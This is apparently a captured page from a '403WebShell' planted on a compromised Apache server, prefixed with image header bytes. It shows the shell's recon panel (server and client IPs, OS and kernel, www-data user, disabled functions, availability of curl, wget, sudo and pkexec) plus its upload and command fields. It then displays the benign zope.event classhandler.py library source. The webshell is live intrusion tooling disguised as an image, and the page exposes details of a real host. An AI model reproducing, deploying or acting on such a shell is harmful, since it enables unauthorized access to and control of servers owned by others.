����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.15.149.254
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/zope/event/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/zope/event/classhandler.py
"""Class-based event handlers


A light-weight event-handler framework based on event classes.

Handlers are registered for event classes:

    >>> import zope.event.classhandler

    >>> class MyEvent(object):
    ...     def __repr__(self):
    ...         return self.__class__.__name__

    >>> def handler1(event):
    ...     print("handler1 %r" % event)

    >>> zope.event.classhandler.handler(MyEvent, handler1)

Descriptor syntax:

    >>> @zope.event.classhandler.handler(MyEvent)
    ... def handler2(event):
    ...     print("handler2 %r" % event)

    >>> class MySubEvent(MyEvent):
    ...     pass

    >>> @zope.event.classhandler.handler(MySubEvent)
    ... def handler3(event):
    ...     print("handler3 %r" % event)


Subscribers are called in class method-resolution order, so only
new-style event classes are supported, and then by order of registry.

    >>> import zope.event
    >>> zope.event.notify(MySubEvent())
    handler3 MySubEvent
    handler1 MySubEvent
    handler2 MySubEvent

"""
import zope.event

__all__ = [
    'handler',
]

registry = {}

def handler(event_class, handler_=None, _decorator=False):
    """ Define an event handler for a (new-style) class.

    This can be called with a class and a handler, or with just a
    class and the result used as a handler decorator.
    """
    if handler_ is None:
        return lambda func: handler(event_class, func, True)

    if not registry:
        zope.event.subscribers.append(dispatch)

    if event_class not in registry:
        registry[event_class] = [handler_]
    else:
        registry[event_class].append(handler_)

    if _decorator:
        return handler

def dispatch(event):
    for event_class in event.__class__.__mro__:
        for handler in registry.get(event_class, ()):
            handler(event)

Youez - 2016 - github.com/yon3zu
LinuXploit